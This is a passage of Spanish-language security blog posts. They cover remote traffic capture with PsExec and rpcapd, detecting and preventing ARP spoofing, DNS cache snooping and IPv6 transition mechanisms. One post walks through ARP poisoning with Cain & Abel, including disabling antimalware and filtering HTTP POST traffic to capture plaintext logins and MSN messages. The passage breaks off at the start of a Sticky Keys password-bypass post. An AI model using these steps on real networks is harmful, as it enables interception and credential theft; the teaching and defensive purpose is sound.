problemas de compatibilidades de software. Por lo que tendremos que instalarlo manualmente en el equipo remoto con la GUI de instalación de WinPcap. Haciendo uso de PsExec incluido en la suite de PsTools. Ejecutamos una CMD remota, escribiendo esto desde nuestra CMD local. psexec \\\\EquipoRemoto -u UserAdmin -p Password cmd.exe EquipoRemoto: es el nombre o IP del equipo remoto al que nos queremos conectar. UserAdmin: sería un usuario con privilegios de administrador. Password: es la contraseña del usuario UserAdmin. En el PC remoto en el que queremos capturar el tráfico de datos que va dirigido hacia este, tendremos que activar el servicio rpcapd. Para ello abrimos una shell de Windows, nos vamos al path donde está instalado WinPcap y escribimos: rpcapd.exe -n -p 30000 Elegí el puerto 30000, pero podría ser otro cualquiera el cual sepamos que está libre y que, por estándar, no sea de uso específico de algún protocolo. Figura 1: Redirigiendo el tráfico al puerto 30000 para el servicio rpcapd de WinPcap. Con rpcapd corriendo sobre el equipo en el que queremos capturar su tráfico, iniciamos Wireshark en el equipo que queremos ver el tráfico capturado. En Wireshark configuramos nuestro adaptador de red para ello, nos vamos a: Capture -\u0026gt; Options Seleccionamos la interface y la pondremos en modo \u0026ldquo;Remote\u0026hellip;\u0026rdquo;. A continuación, se nos abrirá otra ventana en la que indicaremos la dirección IP y el puerto lógico donde queramos establecer la conexión, en este caso era el 30000. En el equipo remoto nos preguntará si queremos abrir este puerto en el firewall para desbloquearlo y permitir el tráfico por ese puerto. Figura 2: Interface en remote para escuchar el tráfico por el puerto 30000 al host remoto. Pulsamos en OK y Start y listo. Ahora recibiremos todo el tráfico que vaya dirigido hacia el host: 10.0.0.4. Esto es válido tanto para redes cableadas como para señales Wireless. Podremos comprobar en el equipo remoto que realmente el puerto 30000 está establecido \u0026ldquo;Established\u0026rdquo;. Comprobar el estado de puertos con netstat -a. Figura 3: Comprobamos que la conexión entre puertos está establecida entre el host remoto y mi equipo local. Saludos! "},{"title":"Ataques MITM: ARP Spoofing/Poisoning sobre IPv4 (Parte 2/2)","url":"/posts/ataques-mitm-arp-spoofing-poisoning-ipv4-parte-2/","summary":" Ataques MITM: ARP Spoofing/Poisoning sobre IPv4 - Parte 1 de 2 Ataques MITM: ARP Spoofing/Poisoning sobre IPv4 - Parte 2 de 2 ¿Cómo prevenir o evitar ataques MITM - ARP Spoofing/Poisoning? Link to …","tags":["Hardening","Blue Team","MITM","ARP Spoofing","Wireshark","Netsh","Redes"],"date":"2012-05-26","content":" Ataques MITM: ARP Spoofing/Poisoning sobre IPv4 - Parte 1 de 2 Ataques MITM: ARP Spoofing/Poisoning sobre IPv4 - Parte 2 de 2 ¿Cómo prevenir o evitar ataques MITM - ARP Spoofing/Poisoning? Link to heading Una de las maneras para prevenir el ARP Spoofing de manera manual, es el uso de tablas de caché ARP de forma estática, de forma que no existe caché dinámica, cada entrada de la tabla mapea una dirección MAC con su correspondiente dirección IP. Para añadir rutas estáticas ARP a la tabla caché se pueden realizar de diferentes formas, dependiendo el OS que utilicemos. Abrimos una consola con privilegios administrativos. Windows o Linux: arp -s [IP Address] [MAC Address] arp -s 192.168.1.1 00:11:22:33:44:55 Windows (usando netsh): netsh \u0026gt; interface \u0026gt; ipv4 \u0026gt; add neighbords \u0026#34;[NombreDeLaConexiónDeRed]\u0026#34; [IP Address] [MAC Address] netsh \u0026gt; interface netsh interface\u0026gt; ipv4 netsh interface ipv4\u0026gt; add neighbords \u0026#34;Conexión de área local\u0026#34; 192.168.1.1 00:11:22:33:44:55 El inconveniente de añadir rutas estáticas a la caché de la tabla ARP es que al reiniciar el PC las direcciones estáticas se eliminan. Para mantener esta tabla podríamos generar un script .vbs o .bat (el cual le daríamos privilegios administrativos) y que este se ejecute en el inicio del sistema, o bien podemos incluirlo en la carpeta \u0026ldquo;Inicio\u0026rdquo; o hacer uso del editor de directivas de grupo local. gpedit.msc \u0026gt; Configuración de Windows \u0026gt; Scripts (inicio o apagado) \u0026gt; Inicio \u0026gt; Agregar\u0026hellip; \u0026gt; buscamos la ruta del fichero .vbs o .bat. Esto lo añade por defecto en la ruta: C:\\Windows\\System32\\GroupPolicy\\Machine\\Scripts\\Startup Dejo referencia a un artículo con más detalle: http://www.zonasystem.com/2017/08/como-protegerse-de-ataques-arp-spoofing.html ¿Cómo detectar ataques MITM - ARP Spoofing/Poisoning? Link to heading Si empezamos a notar alguna anomalía mientras navegamos. Que una página que debería llevar un protocolo HTTPS está como HTTP. Que aun siendo HTTPS se nos caiga la conexión con el servidor de dicha página o nos deniegue el acceso ya que detecta que la entidad certificadora CA que emite el certificado para la conexión no es el original o una entidad emisora legítima. Que una dirección DNS que sabemos a donde nos lleva y como es la página web de esta, se nos muestra una página web similar o nos encamina a otra página web distinta. En cualquiera de los casos anteriores sería entonces donde podría consultar la tabla ARP con el comando arp -a y comprobar la existencia de direcciones MAC clonadas correspondientes a distintas direcciones IP. Como prueba sobre dos Windows 7 Ultimate x64 instalados en máquinas virtuales. Aunque como ya dije en la primera entrega el OS no influye para este tipo de ataques ya que se tratan a nivel de red local en la Capa 2 (enlace de datos o acceso) del modelo OSI. Para que se pueda ver de una manera más clara hice uso del sniffer de red Wireshark. Que hace uso de WinPcap que son librerías necesarias para capturar el tráfico de transmisión de datos en una red, y que trabaja a nivel de núcleo. En las capturas de pantalla que muestro a continuación se ocultan parte de lo que forman las direcciones, esto lo hago por seguridad. Pero un detalle que quiero aclarar es que en una dirección MAC lo normal sería ocultar los últimos tres bloques hexadecimales ya que estos identifican la dirección con relación a los tres primeros que identifican el proveedor o fabricante del adaptador de red. En este caso yo oculté los 4 primeros bloques hexadecimales manteniendo visibles los 2 últimos, la razón es porque al estar trabajando en máquinas virtuales las direcciones que identifican al fabricante eran las mismas y entonces no se podría ver la diferencia. Igualmente oculto el cuarto bloque de la dirección MAC completa que correspondería al primero que identifica dicha dirección MAC. El escenario para este ejemplo sería. Atacante: IP Address: 10.0.0.15 MAC Address: xx:xx:xx:xx:09:27 Gateway: 10.0.0.1 (MAC xx:xx:xx:xx:66:00) Víctima: IP Address: 10.0.0.14 MAC Address: xx:xx:xx:xx:A6:38 Gateway: 10.0.0.1 (MAC xx:xx:xx:xx:66:00) Link to heading Usando Wireshark Link to heading La víctima es la que detectará el ARP Spoofing del atacante, capturando tráfico y así ver modificaciones de falseos/clonados/suplantaciones de direcciones MAC en las tramas ARP Request y ARP Reply. Figura 1: Detectando trama MAC duplicada filtrando por el protocolo ARP en Wireshark. Vemos como un host anuncia su dirección MAC sin que nadie se lo pida. Después un host solicita la dirección MAC y hay dos respuestas con la misma dirección IP pero diferente dirección MAC. Finalmente, Wireshark detecta el ARP Spoofing, que lo describe como: \u0026ldquo;duplicate use of 10.0.0.1 detected\u0026rdquo; Detectado el duplicado del uso de la 10.0.0.1 es decir, la puerta de enlace o gateway. Pero sería muy tedioso, tener que abrir y poner a capturar tráfico de tramas ARP cada vez que encendemos nuestro PC y nos ponemos a navegar por internet, y que por encima al final del día paremos la captura y analicemos la .pcap para detectar si fuimos víctimas de un ataque Man In The Middle. Por lo que para esto ya existen muchas y diversas aplicaciones, tanto para OS Windows como para OS Linux y compatibles con sus distribuciones, que de manera automática y transparente para el usuario, sin necesidad de que este realice ninguna acción, estas detectan si están ocurriendo modificaciones de la caché de la tabla ARP y que monitorean el tráfico de tramas ARP Request y ARP Reply. Usando DecaffeinatID (Windows) Link to heading Para Windows podremos encontrar DecaffeinatID, es una pequeña aplicación desarrollada por IronGeek.com y que después de instalarla se carga en la taskbar de Windows ejecutándose de manera background y automatizada. Nos avisa de cambios producidos a tiempo real en la caché de la tabla ARP del PC. Nos dice que la dirección IP de la gateway ha cambiado mostrándonos la dirección MAC original por la falseada. Figura 2: Detectando suplantación de direcciones MAC con DecaffeinatID. Usando ArpWatch (Linux) Link to heading Para Linux podremos encontrar ArpWatch, que usa libpcap (es igual que Winpcap, pero de código abierto y que son las librerías que son usadas por sistemas Linux) y monitorea los cambios de direcciones IP y direcciones MAC. Estos avisos podemos modificarlos para que nos alerte a nuestra dirección de correo, y lógicamente ver mensajes de logs. Después de descargar el .gz e instalarlo. Escribimos los siguientes comandos y parámetros para su uso. sudo arpwatch -i eth0 Este comando ejecuta Arpwatch, así cuando detecte un cambio de direcciones IP-MAC nos mostrará un mensaje de log en el directorio /var/log/syslog. Saludos! "},{"title":"Ataques MITM: ARP Spoofing/Poisoning sobre IPv4 (Parte 1/2)","url":"/posts/ataques-mitm-arp-spoofing-poisoning-ipv4-parte-1/","summary":" Ataques MITM: ARP Spoofing/Poisoning sobre IPv4 - Parte 1 de 2 Ataques MITM: ARP Spoofing/Poisoning sobre IPv4 - Parte 2 de 2 En qué consiste un ataque MITM ARP \u0026ldquo;Man in the middle\u0026rdquo;? Link …","tags":["Red Team","Hacking Ético","MITM","ARP Spoofing","Wireshark","Redes"],"date":"2012-05-13","content":" Ataques MITM: ARP Spoofing/Poisoning sobre IPv4 - Parte 1 de 2 Ataques MITM: ARP Spoofing/Poisoning sobre IPv4 - Parte 2 de 2 En qué consiste un ataque MITM ARP \u0026ldquo;Man in the middle\u0026rdquo;? Link to heading Los tipos de ataque \u0026ldquo;Man in the middle\u0026rdquo; (MITM) o también conocidos como \u0026ldquo;Hombre en el medio\u0026rdquo;, consisten en realizar una técnica de ataque pasivo, denominada: ARP Spoofing, ARP Poisoning o ARP Poison Routing (APR), y se lleva a cabo en redes LAN (Local Area Network) y WLAN (Wireless Local Area Network). Estando conectados en la misma red, este ataque nos permite capturar todo el tráfico dirigido de uno o varios hosts de la red a la puerta de enlace configurada (Gateway) y viceversa. Consiste en \u0026ldquo;engañar\u0026rdquo; o más bien envenenar la caché de la tabla ARP de la víctima (lo que se conoce como: ARP Cache Poison - APR). De modo que la dirección MAC Address (Media Access Control Address) de la puerta de enlace de la víctima no sea la verdadera, sino que sea la dirección MAC del atacante. Así cuando la víctima realice consultas hacia internet que serán requests para su gateway antes pasarán por el host del atacante, este lo dejará pasar al router, el router devolverá la respuesta al atacante de nuevo y este a la víctima. De esta manera la víctima no se dará cuenta de lo que está pasando. Para que quede más claro: Figura 1: Esquema de ataque MITM. Un detalle a tener en cuenta es que si en vez de envenenar la caché de la tabla ARP de la víctima con la MAC del atacante se envenenara con otra MAC falsa (por ejemplo: 00:11:22:33:44:55) a la víctima le provocaremos una denegación de servicio DOS (Denial Of Service). Diferencias entre Modo Promiscuo (Promiscuous Mode) y Modo Monitor (Monitor Mode) Link to heading Ya que este ataque es utilizado en redes cableadas que se encaminan mediante dispositivos switch, el tráfico no se transmite por un medio abierto (como pueden ser las transmisiones inalámbricas), por lo que para capturar este tipo de tráfico en uno o varios hosts es necesario realizar este tipo de técnicas como los ARP Spoofing. Con la tarjeta en modo promiscuo (Promiscuous Mode - término utilizado para redes cableadas) ya que modo monitor (Monitor Mode) sería el término apropiado para redes inalámbricas y poder capturar todos los IVs (Initialization Vectors). Estos modos tanto promiscuo como monitor se refieren a lo mismo (pero cada uno aplicándolo en su término adecuado, dependiendo el área en el que se esté utilizando o tratando) y en lo que consisten es poder capturar TODOS los paquetes que circulan por la red, aunque no vayan dirigidos al host que solicitó la petición. ¿Cómo se modifica la trama Ethernet para realizar un ARP Cache Poison? Link to heading Toda trama MAC se compone en su header (o cabecera) de una dirección MAC origen y una dirección MAC destino (al final de la cabecera también muestra el tipo de Ethernet), el payload (o cuerpo) compuesto por datos y el trailer (o cola) que muestra un CRC (Cyclic Redundancy Check, comprobación de errores) o checksum (Suma de verificación) o FCS (Frame Check Sequence), este verifica si la trama ha llegado correctamente a su destino o no. La forma más habitual de crear un ARP Spoofing es creando una \u0026ldquo;condición de carrera\u0026rdquo; (Race Condition) que consiste en la distribución de respuestas ARP no solicitadas (por las víctimas), las cuales son almacenadas en la cache ARP de las víctimas o clientes. ¿Por qué es posible este ataque MITM-Man in the middle? Link to heading Tanto los paquetes “ARP request” como los “ARP reply” no proporcionan ninguna validación de identificación en la transacción. Por este motivo este ataque se hace transparente al usuario ya que la trama no se verifica en ninguno de los sentidos con alguna marca identificativa (ID) de integridad. Un caso práctico y sencillo de realizar el ataque con Windows. El escenario para esta práctica es el siguiente: Gateway: IP: 10.0.0.1 MAC: xx:xx:xx:xx:66:00 Víctima: IP: 10.0.0.4 MAC: xx:xx:xx:xx:96:0E GW: 10.0.0.1 O.S.: Windows XP Professional SP3 (x86) Atacante: IP: 10.0.0.3 MAC: xx:xx:xx:xx:1F:71 GW: 10.0.0.1 O.S.: Windows 7 Ultimate SP1 (x64) En esta técnica no influye el tipo de sistema operativo ni la arquitectura que se utilice ya que esto es a nivel de comunicación de redes. Antes de realizar el ataque consultaremos cómo está el escenario de los equipos de la red. Primero vamos a consultar la dirección MAC del atacante con el comando en Windows ipconfig /all o simplemente getmac y veremos que la MAC del atacante es: xx:xx:xx:xx:1F:71, si realizamos un ping a la dirección IP de la víctima (10.0.0.4) y después consultamos la caché de la tabla ARP del atacante, con el comando arp -a así obtendremos la MAC de la víctima (xx:xx:xx:xx:96:0E) y la MAC del gateway o puerta de enlace (en este caso un dispositivo Router: xx:xx:xx:xx:66:00) como se puede ver en la siguiente screenshot. Figura 2: Consultando tabla ARP del equipo atacante comprobando las direcciones MAC reales. Ahora consultamos cómo están las cosas por la parte de la víctima, tanto su IP address como su MAC Address, y la caché de la tabla ARP. Figura 3: Comprobando dirección IP y dirección MAC de la víctima. Figura 4: Consultando la tabla ARP de la víctima con las direcciones MAC originales. Podemos ver como en la caché de la tabla ARP de la Víctima figura la dirección IP del atacante con su correspondiente MAC y lo mismo pasa con los datos de la gateway. Ahora empezaremos el ataque, para ello utilizaremos una tool para Windows: Cain \u0026amp; Abel. Una vez instalemos y ejecutemos Cain en el PC del atacante (deshabilitar antes el antimalware que tengamos ejecutándose en el PC), veremos que con esta herramienta podremos hacer casi de todo tipo de ataques. Pero me centraré especialmente en el ataque mencionado APR (ARP Poison Routing). Nos dirigimos a la pestaña \u0026ldquo;Sniffer\u0026rdquo; y dentro de esta en el apartado \u0026ldquo;Hosts\u0026rdquo;, activamos el icono de la tarjeta de red (configurada previamente para \u0026ldquo;modo promiscuo\u0026rdquo; y así poder capturar tráfico que obtendremos aunque los paquetes request y reply no vayan dirigidos al ordenador del atacante) (1), activamos el icono que se muestra con una imagen \u0026ldquo;+\u0026rdquo; (en azul) para definir el rango a escanear, en este caso voy a tiro fijo definiendo un rango de clase C (máscara de red de una longitud de 24 bits) comprendido de los hosts 10.0.0.1 hasta 10.0.0.20, pulsamos en OK (3). Vemos que la IP y MAC de la gateway y el atacante coinciden con los datos anteriores consultados. Figura 5: Escaneando un rango de red con Cain. Dentro de la pestaña \u0026ldquo;Sniffer\u0026rdquo;, nos dirigimos al apartado APR (1), y seleccionamos APR en el panel izquierdo (2), para que se nos habilite la opción de poder añadir los host para realizar APR pinchamos en la zona vacía o \u0026ldquo;blanca\u0026rdquo; del panel superior-derecho y pulsamos en el icono con una imagen \u0026ldquo;+\u0026rdquo; (en azul) (3), Se nos abrirá una ventana (4) en la que diremos que todo el tráfico de 10.0.0.4 (víctima) (5) que vaya dirigido a la 10.0.0.1 (gateway) (6) pase antes por la máquina en la que se ejecuta Cain, que es la máquina del atacante 10.0.0.3 y finalmente pulsamos OK (7). Figura 6: Enrutando el tráfico del equipo de la víctima hacia la dirección MAC del equipo atacante con Cain. Para finalizar el ataque, simplemente pulsamos en el botón con la imagen de icono amarillo y veremos como la víctima (10.0.0.4) está siendo poisoning (envenenada) por un tráfico ARP reply no proveniente del gateway con la MAC de este (xx:xx:xx:xx:6600), sino con la MAC del atacante (xx:xx:xx:xx:1F:71), suplantando así esta dirección en la caché de la tabla ARP de la víctima. Figura 7: Iniciando el envenenamiento ARP de suplantación MAC con Cain. Si ahora, con la APR ya en ejecución y la caché de la tabla ARP de la víctima ya envenenada realizamos una consulta arp -a podremos ver en el PC de la víctima que la dirección IP de la gateway (10.0.0.1) y la dirección IP del atacante (10.0.0.3) se mapea o redirige a una única misma dirección MAC, que es la del atacante (xx:xx:xx:xx:1F:71). Figura 8: Consultando la tabla ARP de la víctima una vez suplantada. Una vez realizado el ataque Man in the middle utilizaremos un sniffer de paquetes de red como puede ser Wireshark. [7] - Con Wireshark a la escucha de la transmisión de paquetes de la red, y filtrando solo tráfico HTTP con consultas a métodos POST (de envío) en su URL. Para así capturar inicios de sesión y obtener en texto plano (Plain Text) el nombre de usuario y contraseña de páginas NO cifradas HTTP. En este ejemplo muestro un user y password del login de la página web oficial de \u0026ldquo;es.Wikipedia.org\u0026rdquo; como ejemplo. http.request.method == \u0026#34;POST\u0026#34;. Podemos ver que el user es AdrianLois y la password es zonasystem123. Figura 9: Filtrando tráfico con Wireshark desde el equipo atacante para interceptar las credenciales. Filtrando el tráfico capturado por el protocolo MSNMS (MSN Messenger Service) podremos ver la dirección de correo de la víctima como también la dirección email del usuario que establece la conexión con la víctima. La dirección de email de la víctima es la dirección destino 10.0.0.4, que se muestra como \u0026ldquo;xxxx\u0026hellip;5[at]hotmail[dot]com\u0026rdquo;. La dirección de email del usuario/a con la que establece comunicación la víctima es la dirección destino que figura como 64.4.44.26 y que vemos como \u0026ldquo;xxxx\u0026hellip;a[at]hotmail[dot]com\u0026rdquo;. Figura 10: Filtrando por el protocolo MSNMS para capturar la dirección e-mail de la víctima. Las conversaciones que se establecen mediante el protocolo MSNMS utilizado para las conversaciones a tiempo real por medio de mensajería instantánea (IM - Instant Messaging) con MSN Messenger. Estas conversaciones pueden ser capturadas en texto claro, ya que este protocolo NO cifra las comunicaciones. Así podemos observar como la dirección IP de la víctima (10.0.0.4) envió un mensaje instantáneo con el escrito \u0026ldquo;ola q tal\u0026rdquo;. Figura 11: Interceptando conversación de MSN messenger. En la segunda entrega de esta entrada, explicaré un poco: usos no adecuados o con malos fines, usos legítimos y como prevenirse de técnicas y tools de este tipo de ataques Man in the middle y la suplantación de direcciones MAC. Saludos! "},{"title":"DNS Cache Snooping con nslookup: qué webs visita una organización","url":"/posts/dns-cache-snooping-nslookup-paginas-visitadas/","summary":"nslookup (Name System Lookup) podemos saber qué organizaciones tienen configurado un name server (ns) y qué páginas web visitan sus usuarios consultando de forma no recursiva la caché DNS del servidor …","tags":["Red Team","Pentesting","OSINT","DNS","Fingerprint","Redes"],"date":"2012-04-29","content":"nslookup (Name System Lookup) podemos saber qué organizaciones tienen configurado un name server (ns) y qué páginas web visitan sus usuarios consultando de forma no recursiva la caché DNS del servidor de nombres. Cuando un usuario desde su máquina quiere resolver un nombre de dominio mediante una petición DNS, éste pregunta al servidor DNS que tiene configurado. Si este tiene activada la caché, la busca y devuelve la consulta a la máquina del usuario, si el servidor no la tiene disponible en su caché DNS, que por defecto la almacena con un TTL (Time to live o Tiempo de vida) de unos 3.600 segundos (1 hora) aunque este tiempo es configurable en la administración del servidor DNS. Si no la tiene en su caché la solicita por medio de un sistema de consultas recursivas, que es la capacidad que tiene un sistema de nombre de dominios de reenviar la petición a otro servidor DNS si no disponen de la dirección solicitada en su caché DNS o en un pasado la tuvo pero ya caducó dicha dirección. Una vez resuelta la petición el servidor la almacena en su caché DNS y devuelve el resultado a la máquina que solicitó la petición. Conociendo este funcionamiento, si alguien quiere saber si se ha resuelto un determinado dominio, simplemente tendremos que realizar las consultas anulando la resolución recursiva en el servidor DNS. De este modo, conseguiremos realizar las consultas solo a la caché del DNS. Si se ha pedido en un tiempo reciente, al indicado anteriormente por defecto en el TTL, se obtendrá la resolución, por lo contrario obtendremos una respuesta negativa de resolución. Para hacer esta prueba, basta con que te conectes al servidor NS de una organización, selecciones el tipo de consulta como norecurse y empieces a probar nombres de dominio. En la siguiente imagen se puede ver cómo los clientes del DNS de Renfe se conectan a facebook pero no a mi blog. Abrimos una shell y entramos en el modo del comando: nslookup Ahora, establecemos un tipo de consulta para un name server (NS) escribiendo: set type=ns A continuación ya podremos poner la website a solicitar la petición. Por ejemplo: Seleccionamos el name server 1 (por ejemplo: ns1.correos.es), para realizar las consultas sobre este lo establecemos como servidor actual: server ns1.correos.es Una vez seleccionado indicamos una consulta para que se nos muestre información de un host conectado a la red mediante: set type=a Ahora lo más importante, indicamos que sobre la consulta obtengamos información NO recursiva con los argumentos: set norecurse Y finalmente, realizamos los nombres de dominio a consultar, en mi caso escogí: www.facebook.com y mi blog (www.zonasystem.com). Si el nombre de dominio está en la caché DNS del servidor ns1 que seleccionamos, entonces veremos que nos responde obteniendo información de esa caché y que no realiza más preguntas a otros servidores DNS para resolver el nombre, por lo contrario, si pregunta a otros servidores DNS es que dicho nombre no estaba disponible en su caché actual. En la siguiente screenshot se puede ver que www.marca.com ha sido visitado recientemente (dependiendo el TTL de la caché DNS configurado para este servidor), sin embargo, www.zonasystem.com no ha sido visitado recientemente, ya que como podemos observar pregunta a servidores g.gtld\u0026hellip; para resolver el nombre de dominio. Figura 1: Ejemplo de comprobación de la caché de los servidores ns de correos.es. Podremos obtener más información si consultamos la ayuda del comando nslookup y a su vez los argumentos tipo: **set type=**[opción]. Tipos de consultas de registros para los servidores DNS Link to heading Tipo Nombre completo Descripción A Address Traduce nombres de hosts a direcciones IP (valor predeterminado) ANY Cualquiera Toda la información que exista CNAME Canonical Name Lista de alias del nombre canónico (si existen) NS Name Server Especifica el nombre para un dominio MX Mail Exchange Servidor encargado de recibir el correo electrónico del dominio PTR Pointer Lo inverso del registro A: traduce direcciones IP a nombres de host TXT Text Permite extraer información adicional de un dominio Saludos! "},{"title":"Escanear conexiones TCP/UDP de procesos del sistema","url":"/posts/escanear-conexiones-tcpudp-de-procesos-del-sistema/","summary":"Para poder evitar ataques que consisten en el uso de puertos TCP o UDP para obtener información confidencial o simplemente para controlar la PC a través de algún malware de monitorización (como puede …","tags":["Blue Team","DFIR","Threat Hunting","Network Scan","Redes","Malware"],"date":"2012-02-25","content":"Para poder evitar ataques que consisten en el uso de puertos TCP o UDP para obtener información confidencial o simplemente para controlar la PC a través de algún malware de monitorización (como puede ser un troyano). CloseTheDoor es una herramienta gratuita y OpenSource que nos muestra todos los puertos TCP y UDP abiertos del sistema, así como los procesos y aplicaciones que están conectados a ellos. Figura 1: Escaneando puertos con CloseTheDoor . Con esto podremos saber a quiénes nos estamos conectando al usar ciertas aplicaciones y protocolos con conexión de Internet y también quién se está conectando con nosotros. Como se muestra en la imagen si localizamos algún proceso que está estableciendo una conexión entrante no deseada o queremos que no la establezca hacia el exterior de nuestro equipo a la red externa de internet, bastará con localizar dicho proceso que establece la petición de conexión al puerto en cuestión y finalmente finalizar el proceso. Esta tool ya incorpora una función para poder finalizar el proceso desde un taskmgr o un taskkill. Esta tool hace algo similar a la herramienta de comandos netstat para Windows. netstat -b -o Parámetro -b: Listará el proceso asociado a la conexión establecida del puerto en cuestión. Parámetro -o: Muestra el PID (Process IDentifer o Identificador de proceso) de los procesos. El cual con un taskmgr habilitando la opción de mostrar PID y finalizar dicho proceso. TCPView aplicación desarrollada por Sysinternals. Es otra opción muy utilizada para este tipo de escaneos. Figura 2: Escaneo de puertos locales con TCPView de Sysinternals. Saludos! "},{"title":"Mecanismos de transición IPv6","url":"/posts/mecanismos-de-transicion-ipv6/","summary":"Cuando abrimos un símbolo de sistema o command prompt (cmd.exe) de Windows y ejecutamos el comando \u0026ldquo;IPCONFIG\u0026rdquo; seguido del subcomando /all = \u0026ldquo;IPCONFIG /all\u0026rdquo; y pulsamos Enter. …","tags":["Redes","IPv6","Tunneling"],"date":"2011-09-10","content":"Cuando abrimos un símbolo de sistema o command prompt (cmd.exe) de Windows y ejecutamos el comando \u0026ldquo;IPCONFIG\u0026rdquo; seguido del subcomando /all = \u0026ldquo;IPCONFIG /all\u0026rdquo; y pulsamos Enter. Vemos que se nos muestran más adaptadores de red (lógicos) que los físicos que estén conectados en nuestro equipo. Figura 1: Mecanismos de transición IPv6. Diversos mecanismos de transición IPv6 Link to heading Dual Stack Link to heading Dual Stack: Es necesario que los host de una red operen bajo este mecanismo para desplegar y llevar a cabo la transición de direcciones a IPv6. Cuando un host utiliza el mecanismo Dual Stack este es capaz de tomar decisiones acerca de cuándo las conexiones deben hacerse usando IPv4 o IPv6, generalmente esto se hace basándose en la disponibilidad de la conectividad IPv6 y los registros DNS (Domain Name System). Los stacks IP e IPv6 pueden y usualmente serán completamente independientes, pues las interfaces pueden enumerarse de forma separada, habilitar y deshabilitarlas separadamente y tratadas como máquinas separadas. El problema de este mecanismo es que no hay muchas direcciones IPv4 disponibles, ¿cómo hacemos para asignarles una dirección a cada host? ¿de dónde sacamos la dirección? entonces estamos volviendo al problema inicial. Túneles Configurados Link to heading Túneles Configurados: Este es, en muchas maneras el mecanismo de transición más sencillo; aunque no es tan fácil de mantener como otros, pues debemos configurar manualmente algunas direcciones. El principio detrás de la tunelización es el encapsular paquetes IPv6 en paquetes IPv4 es decir, empaquetar paquetes dentro de otros paquetes. Este mecanismo es muy útil para conectar por ejemplo, una sucursal y la oficina principal. La idea central es entender que al igual que los encabezados ethernet rodean los paquetes IP, los que rodean encabezados TCP y UDP, los que rodean protocolos como SMTP, podemos fácilmente insertar otro paquete donde iría un paquete TCP y confiar en el sistema de enrutamiento para que lleve el paquete al lugar ideal. Siempre y cuando tanto el origen como el destino sepan cómo tratar estos paquetes. 6to4 Link to heading 6to4: 6to4 es un mecanismo que permite a las organizaciones el poder experimentar con IPv6 SIN: Un proveedor de servicios de internet (ISP) que soporte IPv6. Aplicar por espacio de direcciones IPv6. Arreglar un túnel con otro usuario. Lo único que necesitamos es una dirección IPv4 global, alcanzable por el protocolo 41 o proto-41, que es el encargado de encapsular paquetes IPv4 en paquetes IPv6. Teredo Tunneling Link to heading Teredo Tunneling: Sabemos que hay muchos host tras un NAT, los cuales usualmente solo pueden lidiar con TCP, UDP y algunos tipos limitados de ICMP. Teredo es un mecanismo que \u0026ldquo;tuneliza\u0026rdquo; IPv6 a través de UDP en una manera que permite pasar a través de la mayoría de dispositivos que hacen NAT. Teredo se considera el último mecanismo a usar en el intento de permitir conectividad IPv6 desde una organización la cual los host finales no tengan otro método de comunicaciones capaz. La operación de Teredo es algo similar a la de 6to4, ya que requiere cierta cantidad de infraestructura, como servidores y relays Teredo, los servidores operan en modo stateless y no es usual que redireccionen paquetes de data; su función principal es facilitar el direccionamiento entre clientes y relays Teredo, así que deben de estar en la red pública de internet IPv4. Los relays son puertas de enlace entre internet IPv6 y los clientes Teredo, redireccionan paquetes contactando a servidores Teredo si es necesario y por último deben de estar en internet IPv4 e IPv6. 6over4 Link to heading 6over4: Es un mecanismo para correr una red IPv6 usando IPv4 como la capa 2 de enlace de datos del Modelo OSI. Es distinto a los túneles y 6to4, porque permite el mecanismo para realizar el protocolo de descubrimiento de vecinos NDP Neighbor Discovery Protocol para IPv6 (su equivalente para redes IPv4 sería ARP Address Resolution Protocol). Hay que recordar que IPv6 usa la capa 2 de enlace para hacer multicast, así que 6over4 logra todo esto usando multicast en IPv4. ISATAP Link to heading ISATAP: Inter Site Automatic Tunneling Address Protocol o Protocolo de direcciones de túnel automático entre sitios, es una idea muy similar a 6over4, ya que pretende hacer uso de una red IPv4 como una capa de enlace virtual para IPv6. Probablemente la diferencia más importante es que evita el hacer uso de multicast en IPv4. SIIT Link to heading SIIT: Stateless IP/ICMP Translation es la primera técnica mencionada que intenta permitir que los host que solo usen IPv4 puedan hablar con host que solo usen IPv6. La idea es que nos permite tomar un paquete IPv4 y reescribir los encabezados para formar un paquete IPv6 y viceversa. NAT46/64-PT Link to heading NAT46/64-PT: NAT-PT (Network Address Translation - Protocol Translation) es una aplicación de SIIT que permite \u0026ldquo;mapear\u0026rdquo; un grupo de host IPv6 a un grupo de direcciones IPv4, en una manera muy similar a la que el NAT de IPv4 permite a un grupo de host IPv4 usando una dirección privada haciendo uso de una dirección pública. Aunque casi idéntica a la NAT-PT, añade la traducción de los puertos, así como la dirección. TRT Link to heading TRT: Transport Relay Translation es una idea similar a SIIT pero en vez de traducir entre IPv4 e IPv6 al nivel de IP e ICMP, lo hace a nivel de capa 4 de transporte TCP/UDP. Una máquina haciendo TRT tendrá un rango de direcciones IPv6 que traducirá a un rango de direcciones IPv4. Cuando una conexión TCP se haga a alguna de estas direcciones, la máquina TRT hará una conexión TCP a la dirección IPv4 correspondiente en el mismo puerto. Luego cuando los paquetes TCP sean recibidos, la data será redireccionada, de igual manera para UDP. Proxies Link to heading Proxies: Los proxies como los conocemos seguirán funcionando pero al tener una máquina corriendo como proxy haciendo uso de un Dual Stack, podrá potencialmente aceptar solicitudes tanto IPv4 como IPv6. Estos son solo algunos de los mecanismos para la transición a un direccionamiento IPv6. Más información sobre estos y otros mecanismos de transición de IPv6 Saludos! "},{"title":"Restablecer la password de cualquier cuenta local de Windows (Sticky Keys)","url":"/posts/restablecer-password-cuenta-usuario-local-windows-sticky-keys/","summary":"Con esto se podrá recuperar la contraseña de los usuarios registrados en un equipo local sin necesidad obviamente de entrar en el sistema, de manera que no se tenga que introducir la clave anterior …","tags":["Post-Explotación","Escalada de privilegios","Persistencia","MITRE ATT\u0026CK","Sticky Keys","Hacking Ético"],"date":"2011-07-01","content":"Con esto se podrá recuperar la contraseña de los usuarios registrados en un equipo local sin necesidad obviamente de entrar en el sistema, de manera que no se tenga que introducir la clave anterior para restablecer una nueva passw, de modo que genera una nueva contraseña para el usuario en la que seleccionemos, incluido administradores locales. Así también como el poder manipular otras configuraciones adicionales. Figura 1: Iniciando consola de recuperación de passwords antes de iniciar sesión en el sistema. Esto es un pequeño hack que funciona en todas las versiones de Windows hasta la fecha. Me imagino que la razón de que Microsoft permita esto es simplemente administrativa, por si algún usuario que solo tenga una cuenta y cambia la password y se llega a olvidar de ella, pueda iniciar sesión con una nueva clave y acceder al sistema. Ya que un sistema operativo Windows siempre y cuando siga cumpliendo estos dos requisitos: Funcionalidad por defecto de las stickykeys (sethc.exe), con pulsación de 5 veces 